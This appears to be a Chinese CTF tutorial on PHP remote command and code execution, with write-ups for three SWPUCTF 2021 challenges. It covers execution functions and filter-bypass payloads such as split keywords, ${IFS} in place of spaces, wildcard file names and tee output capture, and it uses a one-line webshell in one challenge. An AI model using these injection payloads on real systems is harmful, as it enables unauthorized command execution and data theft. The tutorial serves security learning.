RCE漏洞及其绕过——[SWPUCTF 2021 新生赛]easyrce、caidao、babyrce

目录

什么是Shell

1、Shell简介

2、印刷约定

一、什么是RCE

漏洞产生条件:

漏洞检测:

1.远程命令执行

system()函数:

passthru()函数:

exec()函数:

无回显

shell_exec()函数:

 2.远程代码执行

 eval()函数:

可将代码执行漏洞间接替换成命令执行漏洞

${}执行代码:

​编辑

 isset()函数:

二、RCE命令注入

RCE命令注入分类

1.过滤cat

2.过滤空格:

3.拼接符

4.过滤cat、ls、flag等一些关键字

\ 单双引号 反撇绕过过滤

变量绕过

命令拆分绕过

通配符正则绕过

三、例题

[SWPUCTF 2021 新生赛]easyrce

[SWPUCTF 2021 新生赛]caidao

 [SWPUCTF 2021 新生赛]babyrce


 

学习参考:

RCE代码及命令执行(详解)_rce命令执行-CSDN博客

RCE漏洞简介-CSDN博客

浅谈基础RCE-CSDN博客

RCE漏洞详解及绕过总结(全面)-CSDN博客

什么是Shell

(参考)https://blog.51cto.com/aku28907/1783805

1、Shell简介

Shell是一个程序,它在用户和操作系统之间提供了一个面向行的可交互接口。

用户在命令行中输入命令,运行在后台的shell把命令转换成指令码发给操作系统。

2、印刷约定

    $:表示用户输入

    #:表示正在以root身份执行命令

一、什么是RCE

RCE(Remote Code/Command Execution)远程代码执行漏洞远程命令执行漏洞

漏洞产生条件:

1.调用第三方组件存在的代码执行漏洞。

2.用户输入的内容作为系统命令的参数拼接到命令中。

3.对用户的输入过滤不严格。

4.可控变量或漏洞函数。

漏洞检测:

白盒:可以对代码进行审计。
黑盒:可以使用一些漏洞扫描工具。

公开的漏洞、手工看功能点及参数值,其中参数值主要需要看是否和相关的漏洞函数有关,若有就可以进行测试,但可能存在加密的情况,那么还需要进行解密。

1.远程命令执行

执行系统命令

PHP代码(以分号;结尾)为例,常见的命令执行函数有:
system()、passthru()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()等。

system()函数:

//system()的原型函数为:int system(const char * command)

参数字符串command为命令名
//system()用于调用一些dos(windows系统)命令、 shell(Linux/Unix系统) 命令,并执行 返回结果。

在windows系统下 参数字符串不区分大小写

 e.g(这里直接用phpstudy搭建了一个环境)

<?php                //使用system()函数执行Windows系统下的dir命令
system("dir");       //dir   列文件名
?>

passthru()函数:

与system()用法基本一致,在system函数被过滤后考虑使用

<?php                           //使用passthru()函数执行Windows系统下的ping命令
passthru("ping www.baidu.com");   //ping  测试网络连接
?>

exec()函数:

//执行一个新的程序

不输出结果,但返回执行结果的最后一行

<?php 
    echo exec("dir");
?>

无回显

搭配echo或其他的输出函数 如print_r()函数使得其回显

<?php 
    echo exec("dir",$file);
    echo "</br>"; 
    print_r($file);
 ?>

shell_exec()函数:

让页面无回显(与``作用相同),搭配echo或其他的输出函数使得其回显

<?php 
    shell_exec("dir");
?>

<?php echo shell_exec("dir");?>

<?php print shell_exec("dir");?>

 2.远程代码执行

执行(脚本代码)服务器网站的代码

常见的代码执行函数有:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()等。

 eval()函数:

//eval()函数把字符串按照PHP代码来计算。

该字符串必须是合法的PHP代码,并且必须以分号结尾。

<?php                   //使用eval()函数执行PHP代码中的phpinfo()函数
eval("phpinfo();");     //phpinfo()函数:显示出PHP所有相关信息
?>

<?php                  //使用eval()函数执行PHP代码中的echo命令
eval("echo 123;");     //echo    输出
?>

可将代码执行漏洞间接替换成命令执行漏洞
<?php                        //在eval()函数中增添了system()函数,将代码执行转化为了命令执行
eval("system('dir');");
?>

${}执行代码:

会将中间的php代码进行解析(与eval()函数作用相似)

<?php
${phpinfo()};
?>

 isset()函数:

检测变量是否已设置并且非空

二、RCE命令注入

先了解一下Linux文件查看常用命令:

  • cat:由第一行开始查看文件
  • tac:cat倒着写,由最后一行到第一行查看
  • more:逐项查看文件,按空格继续,最后自己退出
  • less:逐行查看文件,按方向键,不可主动退出,按q退出
  • head:只查看文件前十行
  • tail:只查看文件后十行

RCE命令注入分类

无过滤、过滤cat、过滤空格、过滤目录分隔符、过滤运算符、综合过滤

1.过滤cat
tac    //与cat相反,按行反向输出
more   //按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less   //与more类似
tail   //查看文件末几行
head   //查看文件首几行
nl     //在cat查看文件的基础上显示行号
od     //以二进制方式读文件,od -A d -c /flag转人可读字符
xxd    //以二进制方式读文件,同时有可读字符显示
sort   //排序文件
uniq   //报告或删除文件的重复行
file -f    //报错文件内容
grep    //过滤查找字符串,grep flag /flag  //查找文件里符合条件的字符串
2.过滤空格:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

3.拼接符
  |     #只执行|后面的语句
  ||    #如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
  &     #&前面和后面命令都要执行,无论前面真假
  &&    #如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
  ;     #前后都执行,无论前面真假,类似&
4.过滤cat、ls、flag等一些关键字
\ 单双引号 反撇绕过过滤
ca\t flag
ca''t flag
ca""t flag 
ca``t flag
变量绕过
a=c;b=a;c=t;$a$b$c flag
命令拆分绕过
a=fl;b=ag.php;echo $a$b;
通配符正则绕过

如果正则匹配过滤了一些关键字,如:flag、php、txt等等可以使用问号(?)代替某个字符

适当的可以用星号(*)

注意:这里的?和*都只能用于文件名,如果是命令(类似ls cat等)就不适用

cat flag.php === cat ??ag.php ===cat ?la*

无回显时可以把flag写进一个文件,然后访问这个文件

?cmd=ls /|tee 1.txt

?cmd=c''at \f*** |tee 1.txt       //tee  保存到1.txt文件里

三、例题

[SWPUCTF 2021 新生赛]easyrce

system()调用Linux ls /命令,发现一个flllllaaaaaaggggggg文件

ls /      //查看根目录

 cat查看flllllaaaaaaggggggg内容,得到flag

[SWPUCTF 2021 新生赛]caidao

打开环境,发现        传了一句话木马 密码wllm

解法一:post传参,查看根目录 发现flag文件

cat查看,得到flag

解法二:用蚁剑连接

 在根目录里发现flag

 [SWPUCTF 2021 新生赛]babyrce

cookie传参,得到一个新的php网址

直接访问又得到新的rce

preg_match("/ /") 正则绕过空格,使用${IFS}过滤空格

$a = shell_exec($ip);无回显a

查看根目录,发现flllllaaaaaaggggggg文件

 查看文件内容,得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/558840.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

我的创作纪念日(256)

一、缘起——Why I choose CSDN 在大二升到大三的暑假期间&#xff0c;为了督促自己学习智能机器人这一领域的知识&#xff0c;啃下这块硬骨头&#xff0c;我决定一边学习&#xff0c;一边在CSDN这个平台上分享一些学习心得。当时我跟着韩顺平老师学习Linux系统&#xff0c;跟…

IP地址定位:揭秘精准定位的技术与应用

在数字化时代&#xff0c;IP地址已成为连接互联网世界的关键标识之一。但是&#xff0c;很多人对于IP地址的精准定位能力存在疑虑。本文将深入探讨IP地址定位的技术原理以及其在实际应用中的精确度。 IP地址查询&#xff1a;IP数据云 - 免费IP地址查询 - 全球IP地址定位平台 …

torchvision指定版本whl安装(Ubuntu20环境)

pytorch教程需要torchvision下载数据集&#xff0c;使用pip安装指定版本&#xff0c;首先使用conda list torch查看自己安装torch版本&#xff0c;我的pytorch版本1.9.0对应cuda版本11.1 在以下网址查找对应torchvision版本&#xff0c;https://pytorch.org/get-started/prev…

vue-cli2 与vue-cli3,vue2与vue3 初始化项目,本地vue项目,详细解析区别(2024-04-19)

目录 1、区别&#xff08;vue-cli2 与 vue-cli3 &#xff09; 2、例子1&#xff08;vue2项目&#xff09; 2.1 版本与命令行 2.2 项目本地截图 2.3 项目文件解析 &#xff08;1&#xff09;package.json 文件 &#xff08;2&#xff09;webpack.dev.conf.js文件 &#…

【备战算法岗】—— 控制模块复习(持续更新!!!)

1 控制理论基础 1.1 控制模块概述 输入&#xff1a;轨迹线Reference、地图信息、定位信息、车辆反馈信息 输出&#xff1a;刹车、油门、转向 CANBUS&#xff1a;车辆底盘交互协议 底盘、速度、四轮转速、健康状况、底盘报错、自动驾驶状态 运动学模型&#xff1a;刚体运动&a…

linux的线程概念

目录 1.原理 2.线程的周边概念 3.创建线程的接口 1.pthread_create 2.pthread_join 3.pthread_detach 4.终止线程 5.C11封装的多线程库 4.线程库的大概结构 5.__thread&#xff08;只能修饰内置类型&#xff09; 6.线程的互斥 1.了解原理 2.加锁 1.接口 2.代码示…

遍历取后端数据推送到地图上,实现图标点标记地图效果

遍历取后端数据推送到地图上&#xff0c;实现图标点标记地图效果 示例链接&#xff1a; 功能示例(Vue版) | Mars3D三维可视化平台 | 火星科技 踩坑注意点&#xff1a; 1. id: 1 是地图底图的id 后台也返回之后 id直接会有冲突 此时图标标记之后无法单击 相关代码&#xff1a…

异步 IO 机制 io_uring

一、io_uring 原理 如何解决频繁 copy 的问题 → mmap 内存映射解决。 submit queue 中的节点和 complete queue 中的节点共用一块内存&#xff0c;而不是把 submit queue 中的节点 copy 到 complete queue 中。 如何做到线程安全 → 无锁环形队列解决。 二、io_uring 使用 内…

了解 Python 底层的解释器 CPython 和 Python 的对象模型

&#x1f349; CSDN 叶庭云&#xff1a;https://yetingyun.blog.csdn.net/ 一、CPython CPython 是 Python 编程语言的官方和最广泛使用的实现。它是用 C 语言编写的&#xff0c;因此得名 “CPython”。作为 Python 生态系统的核心&#xff0c;了解 CPython 的工作原理、主要特…

【新版】系统架构设计师 - 知识点 - 结构化开发方法

个人总结&#xff0c;仅供参考&#xff0c;欢迎加好友一起讨论 文章目录 架构 - 知识点 - 结构化开发方法结构化开发方法结构化分析结构化设计 数据流图和数据字典模块内聚类型与耦合类型 架构 - 知识点 - 结构化开发方法 结构化开发方法 分析阶段 工具&#xff1a;数据流图、…

如何实现文件上传到阿里云OSS!!!(结合上传pdf使用)

一、开通阿里云OSS对象存储服务 对象存储 OSS_云存储服务_企业数据管理_存储-阿里云阿里云对象存储 OSS 是一款海量、安全、低成本、高可靠的云存储服务&#xff0c;提供 99.995 % 的服务可用性和多种存储类型&#xff0c;适用于数据湖存储&#xff0c;数据迁移&#xff0c;企…

股票战法课程之主力的痕迹

文章目录 1. 主力的操作痕迹2. 主力的建仓2.1 建仓的三种方式2.2 建仓的五个特点2.3 建仓的迹象2.4 建仓的成交量特征 1. 主力的操作痕迹 序号痕迹原因1不跟随大盘节奏筹码都在主力手中2突发利空消息&#xff0c;股价不跌反涨主力被套&#xff0c;不希望散户抛盘3很小的成交量…

智己汽车数据驱动中心PMO高级经理张晶女士受邀为第十三届中国PMO大会演讲嘉宾

全国PMO专业人士年度盛会 智己汽车科技有限公司数据驱动中心PMO高级经理张晶女士受邀为PMO评论主办的2024第十三届中国PMO大会演讲嘉宾&#xff0c;演讲议题为“规模化敏捷落地实践”。大会将于5月25-26日在北京举办&#xff0c;敬请关注&#xff01; 议题简要&#xff1a; 2…

CSS基础:table的4个标签的样式详解(6000字长文!附案例)

你好&#xff0c;我是云桃桃。 一个希望帮助更多朋友快速入门 WEB 前端的程序媛。 云桃桃-大专生&#xff0c;一枚程序媛&#xff0c;感谢关注。回复 “前端基础题”&#xff0c;可免费获得前端基础 100 题汇总&#xff0c;回复 “前端工具”&#xff0c;可获取 Web 开发工具合…

【Java】Comparable和Comparator的区别

文章目录 区别Comparable示例Comparator示例参考资料 都可以用于排序。都是接口。 区别 Comparable示例 让被排序的类实现 Comparable 接口&#xff0c;重写 compareTo() 方法。 import java.util.*;public class Main {public static void main(String[] args){TreeSet<…

端点安全时刻影响着网络安全,我们应该如何保护

端点&#xff08;Endpoint&#xff09;是网络通信中的一个重要概念&#xff0c;指的是网络通信中的发送或接收信息的设备或节点。在一个网络中&#xff0c;端点可以是硬件设备&#xff08;如计算机、服务器、手机、路由器等&#xff09;&#xff0c;也可以是软件应用或服务。端…

PSO-BP和BP多输入多输出回归预测模型 matlab (多输入多输出)

文章目录 效果一览文章概述订阅专栏只能获取一份代码部分源码参考资料效果一览 文章概述 PSO-BP和BP多输入多输出回归预测模型 matlab (多输入多输出) 订阅专栏只能获取一份代码 部分源码 %------

ceph osd分组

一、前言 使用分组可以更好的管理osd&#xff0c;将不同类型的磁盘&#xff0c;分到不同的组中&#xff0c;例如hhd类型的osd分配到hhd组&#xff0c;ssd类型的osd分配到ssd组&#xff0c;将io要求不高的分配到hhd组做存储&#xff0c;io要求高的分配到ssd组做存储 二、配置 查…

Linux驱动开发笔记(一)字符驱动

文章目录 前言一、字符设备驱动程序框架二、基本原理1. 设备号的申请与归还2. 保存file_operations接口3. 设备节点的创建和销毁4. 创建文件设备4.1 mknod4.2 init_special_incode( )函数 5. 查找file_operation接口函数速查表 三、程序编写1. 模块初始化及关闭2. 文件操作方式…

墨子web3时事周报

蚂蚁集团Web3研发进展与布局 国内Web3赛道的领军企业——蚂蚁集团&#xff0c;凭借其在前沿科技领域的深耕不辍&#xff0c;已在Web3技术研发疆域缔造了卓越战绩。特别是在引领行业革新的关键时刻&#xff0c;集团于今年四月末震撼推出了颠覆性的Web3全套解决方案&#xff0c…